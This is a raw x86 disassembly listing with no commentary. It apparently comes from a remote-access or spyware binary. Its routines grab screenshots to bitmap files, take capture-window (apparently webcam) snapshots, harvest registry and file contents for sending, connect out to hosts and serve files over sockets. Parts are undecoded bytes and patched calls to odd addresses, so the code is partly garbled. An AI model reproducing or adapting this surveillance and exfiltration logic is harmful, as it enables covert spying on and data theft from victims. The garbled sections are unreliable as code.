var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF90
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAFAC
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAFAC
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAFAC
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAFAC
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------

loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx

loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFF0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFE8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE74
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFEC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAEC8
		mov	ebx, eax

loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 26F08DDh
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h

loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 26E0000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 26508EFh
		push	1
		pop	esi

loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAF00
		push	[ebp+var_4]
		call	dword_4CAE60
		mov	edi, [ebp+var_20]

loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE60
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------

loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE60
		push	[ebp+var_4]
		call	dword_4CAE60

loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax

loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BD0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEF4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------

loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB000
		jmp	short loc_415654
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax

loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F

loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB000

loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF44
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------

loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx

loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h

loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h

loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF44
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB000

loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB000

loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB000

loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB000

loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB054
		mov	eax, ebx

loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BD0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEF4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------

loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB000
		jmp	short loc_41584D
; ---------------------------------------------------------------------------

loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax

loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858

loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB000

loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB000
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------

loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx

loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB000

loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h

loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax

loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB000

loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB000

loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB000

loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB000

loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB000

loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB000

loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB000

loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB054
		mov	eax, ebx

loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_43622C, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_43622C
		mov	esi, offset dword_436238
		mov	edi, offset dword_437430

loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB014
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAEA4
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293EC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax

loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_43742C ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_43742C ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]

loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h

loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------

loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF80
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi

loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB024
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAFA4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFE4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CB028
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF4C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB03C

loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------

loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi

loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 4374AC68h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h
		dd 90022BA3h, 43D15868h, 6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43747C68h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 3C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 0A1E89064h, 330225A2h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 0BC15FF53h, 85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 99C868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 49E89064h, 6A0225A2h, 5580E80Ah, 0C085FFFFh,	8DA37559h
		dd 0FFEE4C85h, 744868FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B03C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 0A1E6E890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]

loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB024
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_4375AC
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAFA4
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFD0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437588
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF48
		push	dword ptr [ebp-2Eh]
		call	dword_4CAED4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx

loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------

loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al

loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAFCC
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_4374AC
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 26F08DDh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437568
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		call	near ptr 2730C3Eh
		nop
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFE4
		push	eax
		call	dword_4CAFA0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437550
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437538
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------

loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_437514

loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
